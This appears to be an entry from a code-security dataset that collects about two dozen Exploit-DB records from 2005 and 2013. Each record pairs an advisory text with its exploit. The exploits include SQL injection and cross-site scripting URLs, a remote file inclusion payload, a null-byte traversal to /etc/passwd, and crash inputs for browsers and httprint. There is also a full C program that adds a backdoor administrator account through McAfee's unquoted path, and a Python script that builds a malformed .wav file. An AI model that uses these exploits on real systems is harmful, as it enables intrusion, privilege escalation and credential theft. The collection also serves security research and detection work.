QLWD/code_shield huggingface dataset:
标题: IceWarp Universal WebMail - '/mail/index.html?lang_settings' Remote File Inclusion EDB-ID: 26983 CVE: 2005-4558 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/16069/info
   
IceWarp Universal WebMail is prone to multiple input-validation vulnerabilities. Deerfield VisNetic Mail Server and Merak Mail Server integrate IceWarp Universal WebMail into their suites.
   
An attacker can exploit these issues to include arbitrary local or remote files containing malicious PHP code and execute it in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.
   
Additionally, an attacker can exploit these issues to obtain the contents of local files.
   
Merak Mail Server 8.3.0.r and VisNetic MailServer 8.3.0 build 1 are affected by these issues.
   
UPDATE (July 30, 2007): Symantec has confirmed that this issue is being actively exploited in the wild.


http://example.com:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/; URL: https://www.exploit-db.com/exploits/26983
标题: httprint 202.0 - HTTP Response Server Field Arbitrary Script Injection EDB-ID: 26966 CVE: 2005-4502 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16031/info

httprint is prone to multiple remote vulnerabilities.

The first issue may allow remote attackers to execute arbitrary HTML and script code in a user's browser.

The second issue may allow remote attackers to crash an instance of the application.

httprint version 202 is vulnerable to these issues. 

SecServerSignature "Microsoft-IIS/5.0<script>alert('test')</script>" URL: https://www.exploit-db.com/exploits/26966
标题: SyntaxCMS - Search Query Cross-Site Scripting EDB-ID: 26968 CVE: 2005-4496 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16033/info

SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/search/?search_query=[XSS] URL: https://www.exploit-db.com/exploits/26968
标题: Quantum Art QP7.Enterprise - 'news.asp?p_news_id' SQL Injection EDB-ID: 26964 CVE: 2005-4486 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16022/info
 
QP7.Enterprise is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news.asp?p_pagealias=news&p_news_id=1[SQL] URL: https://www.exploit-db.com/exploits/26964
标题: PHPSlash 0.8.1 - 'article.php' SQL Injection EDB-ID: 26962 CVE: 2005-4479 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16021/info

phpSlash is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue affects phpSlash version 0.8.1; other versions may also be vulnerable. 

http://www.example.com/article.php?story_id=1[SQL] URL: https://www.exploit-db.com/exploits/26962
标题: Apple Mac OSX - KHTMLParser Remote Denial of Service EDB-ID: 26971 CVE: 2005-4504 类型: DOS 平台: OSX 发布日期: 2005-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16045/info

Apple Mac OS X KHTMLParser is affected by a remote denial of service vulnerability.

Successful exploitation may cause an application employing KHTMLParser to crash. KHTMLParser is used by Apple Safari Web browser and Apple TextEdit word processor.

Mac OS X 10.4.3 and prior, TextEdit, and Safari 2.0.2 and prior are vulnerable to this issue. 

<TABLE WIDTH=" >
<" >
onLoad=() STYLE=
<SPAN= STYLE= >
<TD STYLE=^ ROWSPAN=1234567890 > URL: https://www.exploit-db.com/exploits/26971
标题: httprint 202.0 - HTTP Response Server Field Overflow Denial of Service EDB-ID: 26967 CVE: 2005-4503 类型: DOS 平台: MULTIPLE 发布日期: 2005-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16031/info
 
httprint is prone to multiple remote vulnerabilities.
 
The first issue may allow remote attackers to execute arbitrary HTML and script code in a user's browser.
 
The second issue may allow remote attackers to crash an instance of the application.
 
httprint version 202 is vulnerable to these issues. 

SecServerSignature "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."x1500 URL: https://www.exploit-db.com/exploits/26967
标题: Tangora Portal CMS 4.0 - 'Action' Cross-Site Scripting EDB-ID: 26969 CVE: 2005-4497 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16034/info

Tangora Portal CMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

/page1631.aspx?action=[XSS]
/page496.aspx?action=[XSS] URL: https://www.exploit-db.com/exploits/26969
标题: MusicBox 2.3 - 'type' SQL Injection EDB-ID: 26965 CVE: 2005-4500 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/16030/info

MusicBox is prone to an SQL injection vulnerability.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

This issue affects MusicBox version 2.3; other versions may also be vulnerable.

http://www.example.com/version2.3/?action=top&show=5&type=[sql] URL: https://www.exploit-db.com/exploits/26965
标题: Papoo 2.1.2 - 'Guestbook.php?menuid' SQL Injection EDB-ID: 26960 CVE: 2005-4478 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16020/info
 
Papoo is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
These issues affect version 2.1.2; other versions may also be vulnerable. 

http://www.example.com/guestbook.php?menuid=[SQL] URL: https://www.exploit-db.com/exploits/26960
标题: Papoo 2.1.2 - 'print.php' Multiple SQL Injections EDB-ID: 26961 CVE: 2005-4478 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16020/info
  
Papoo is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
  
These issues affect version 2.1.2; other versions may also be vulnerable. 

http://www.example.com/print.php?reporeid_print=&forumid=[SQL]
http://www.example.com/print.php?reporeid_print=[SQL] URL: https://www.exploit-db.com/exploits/26961
标题: Quantum Art QP7.Enterprise - 'news_and_events_new.asp?p_news_id' SQL Injection EDB-ID: 26963 CVE: 2005-4486 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16022/info

QP7.Enterprise is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/news_and_events_new.asp?p_MenuAlias=news&p_news_id=1[SQL] URL: https://www.exploit-db.com/exploits/26963
标题: oracle Application server discussion forum portlet - Multiple Vulnerabilities EDB-ID: 26972 CVE: 2005-4550 类型: WEBAPPS 平台: JSP 发布日期: 2005-12-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/16048/info

Oracle Application Server Discussion Forum Portlet is affected by multiple remote vulnerabilities.

The following specific vulnerabilities were identified:

The application is prone to a cross-site scripting vulnerability.

Discussion Forum Portlet is also affected by multiple HTML injection vulnerabilities.

The application is vulnerable to a source code disclosure vulnerability as well.

All versions of Oracle Application Server Discussion Forum Portlet are considered to be vulnerable. It should be noted that Oracle Application Server Discussion Forum Portlet is not meant to be used in a production environment. 

Cross-site scripting:
http://www.example.com/portal/page?_pageid=XXX,XXX&_dad=portal&_schema=PORTAL&
df_next_page=htdocs/forums.jsp&
RowKeyValue=<script>alert(document.cookie)</script>

Source code disclosure:
http://www.example.com/portal/page?_pageid=XXX,XXX&_dad=portal&_schema=PORTAL&
df_next_page=htdocs/search.jsp%00 URL: https://www.exploit-db.com/exploits/26972
标题: McAfee VirusScan 8.0 - Path Specification Privilege Escalation EDB-ID: 26970 CVE: 2005-4505 类型: LOCAL 平台: WINDOWS 发布日期: 2005-12-22 漏洞利用脚本: // source: https://www.securityfocus.com/bid/16040/info

McAfee VirusScan is prone to a vulnerability that could allow an arbitrary file to be executed.

The 'naPrdMgr.exe' process calls applications without using properly quoted paths. Successful exploitation may allow local attackers to gain elevated privileges.

McAfee VirusScan Enterprise 8.0i (patch 11) is reportedly vulnerable. Other versions may be affected as well. 

// ===== Start Program.c ======
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
    CHAR  szWinDir[ _MAX_PATH ];
    CHAR szCmdLine[ _MAX_PATH ];

     GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

    printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n" );

    wsprintf( szCmdLine, "%s\\system32\\net.exe user Program
Pr0gr@m$$ /add", szWinDir );

    system( szCmdLine );

    printf( "Adding user \"Program\" to the local Administrators group...\n" );

    wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup
Administrators Program /add", szWinDir );

    system( szCmdLine );

    return 0;
}
// ===== End Program.c ====== URL: https://www.exploit-db.com/exploits/26970
标题: Papoo 2.1.2 - 'index.php?menuid' SQL Injection EDB-ID: 26959 CVE: 2005-4478 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16020/info

Papoo is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

These issues affect version 2.1.2; other versions may also be vulnerable. 

http://www.example.com/index.php?menuid=[SQL] URL: https://www.exploit-db.com/exploits/26959
标题: Commercial Interactive Media SCOOP! 2.3 - 'category.asp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26943 CVE: 2005-4490 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16015/info
   
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
   
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/category.asp?area=[XSS]
http://www.example.com/category.asp?area=support&articleZoneID=[XSS]
http://www.example.com/category.asp?area=support&articleZoneID=132&r=[XSS]
http://www.example.com/category.asp?example1=[XSS] URL: https://www.exploit-db.com/exploits/26943
标题: Commercial Interactive Media SCOOP! 2.3 - 'prePurchaserRegistration.asp?Invalid' Cross-Site Scripting EDB-ID: 26945 CVE: 2005-4490 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16015/info
     
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
     
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/prePurchaserRegistration.asp?example6=[XSS] URL: https://www.exploit-db.com/exploits/26945
标题: Commercial Interactive Media SCOOP! 2.3 - 'articleZone.asp?Invalid' Cross-Site Scripting EDB-ID: 26944 CVE: 2005-4490 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16015/info
    
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
    
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/articleZone.asp?example2=[XSS] URL: https://www.exploit-db.com/exploits/26944
标题: Sitekit CMS 6.6 - 'Default.aspx' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26947 CVE: 2005-4491 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16016/info

Sitekit CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Version 6.6 of Sitekit is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/default.aspx?[xss]
http://www.example.com/Default.aspx?textonly=[xss]
http://www.example.com/Default.aspx?textonly=1&locID=[xss]
http://www.example.com/Default.aspx?textonly=1&locID=0ad00v005&lang=[xss] URL: https://www.exploit-db.com/exploits/26947
标题: Xibo 1.2.2/1.4.1 - 'index.php?p' Directory Traversal EDB-ID: 26955 CVE: 2013-5979 类型: WEBAPPS 平台: PHP 发布日期: 2013-07-18 漏洞利用脚本: Exploit Title: Xibo Directory Traversal Vulnerability
Exploit Author: Mahendra
Date: 2 April 2013
Vendor homepage: http://xibo.org.uk
References:
http://www.baesystemsdetica.com.au/Research/Advisories/Xibo-Directory-Traversal-Vulnerability-(DS-2013-00

############################
Affected Vendor: Spring Signage Ltd
Affected Software: Xibo
Affected Version: 1.2.2 and 1.4.1, previous version may also affected
Issue type: Directory Traversal
Release Date: 2 April 2013
Discovered by: Mahendra
Issue status: Patch available
############################

Description
---------------------
What is Xibo?
Xibo is a software package which provides a high quality digital signage system for free! Digital signage is essentially any form of digital display, such as a TV, which is used for showing notices, public announcements, advertisements, etc.
There are an ever increasing number of software packages that do this job – Xibo sets itself apart in both functionality and cost (Xibo is completely free!). The people behind the Xibo project believe that the software used to display content shouldn’t break the bank and shouldn’t be inflexible, unwieldy or out of date – and we are happy that Xibo is none of these things.
Xibo is community driven and open source which means that if there is something you don’t like, you are completely free to change it (or to get it changed by the community).
more details: http://xibo.org.uk/about/

Issue Summary
------------------
Directory traversal vulnerabilities occur when user input is used in the construction of a filename or directory path which is subsequently used in some system function. If the input is not correctly validated or directory permissions not correctly set, it may be possible to cause a different file to be accessed other than that intended. This issue was exploited by adding a null byte (%00) which resulted in the application ignoring the rest of the supplied value after the null byte.

Proof of Concept
--------------------
http://host/index.php?p=../../../../../../../../../../../../../../../../etc/passwd%00index&q=About&ajax=true&_=1355779988

The parameter true value will be different for each user.

Solution
-----------------
Upgrade to Xibo 1.4.2 or later. URL: https://www.exploit-db.com/exploits/26955
标题: Sitekit CMS 6.6 - 'Request-call-back.html?ClickFrom' Cross-Site Scripting EDB-ID: 26948 CVE: 2005-4491 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16016/info
 
Sitekit CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Version 6.6 of Sitekit is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/Request-call-back.html?ClickFrom=[xss] URL: https://www.exploit-db.com/exploits/26948
标题: Sitekit CMS 6.6 - 'registration-form.html?ClickFrom' Cross-Site Scripting EDB-ID: 26949 CVE: 2005-4491 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16016/info
  
Sitekit CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
  
Version 6.6 of Sitekit is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/registration-form.html?ClickFrom=[xss] URL: https://www.exploit-db.com/exploits/26949
标题: Commercial Interactive Media SCOOP! 2.3 - 'requestDemo.asp?Invalid' Cross-Site Scripting EDB-ID: 26946 CVE: 2005-4490 类型: WEBAPPS 平台: ASP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16015/info
      
Commercial Interactive Media SCOOP! is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
      
Version 2.3 of Commercial Interactive Media SCOOP! is reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/requestDemo.asp?example7=[XSS] URL: https://www.exploit-db.com/exploits/26946
标题: Microsoft Windows Movie Maker 2.1.4026.0 - '.wav' Crash (PoC) EDB-ID: 26951 CVE: 2014-2671 2013-4858 类型: DOS 平台: WINDOWS 发布日期: 2013-07-18 漏洞利用脚本: # Exploit Title: Windows Movie Maker Version 2.1.4026.0 (.wav) - Crash POC
# Date: 16-07-2013
# Exploit Author: ariarat
# Vendor Homepage: http://www.microsoft.com
# Software Link: included in windows xp sp2 and sp3
# Version: 2.1.4026.0
# Tested on: [ Windows XP sp3]
# CVE : 2013-4858
#============================================================================================
# Open Windows movie maker in left panel click on "Import audio or music" and choose movieMaker.wav
#  
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "movieMaker.wav"
file = open(filename , "w")
file.write(string)
file.close() URL: https://www.exploit-db.com/exploits/26951
标题: Scoop 1.1 RC1 - Missing Story Error Cross-Site Scripting EDB-ID: 26939 CVE: 2005-4489 类型: WEBAPPS 平台: PHP 发布日期: 2005-12-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/16014/info
 
Scoop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
 
Scoop 1.1 RC1 is reportedly vulnerable to these issues; prior versions may also be affected. 

http://www.example.com/story/2005/11/4/184932/452[XSS]
http://www.example.com/story/2005/11/4/184932[XSS]
http://www.example.com/story/2005/11/4[XSS]
http://www.example.com/story/2005/11[XSS]
http://www.example.com/story/2005[XSS]
http://www.example.com/story/[XSS] URL: https://www.exploit-db.com/exploits/26939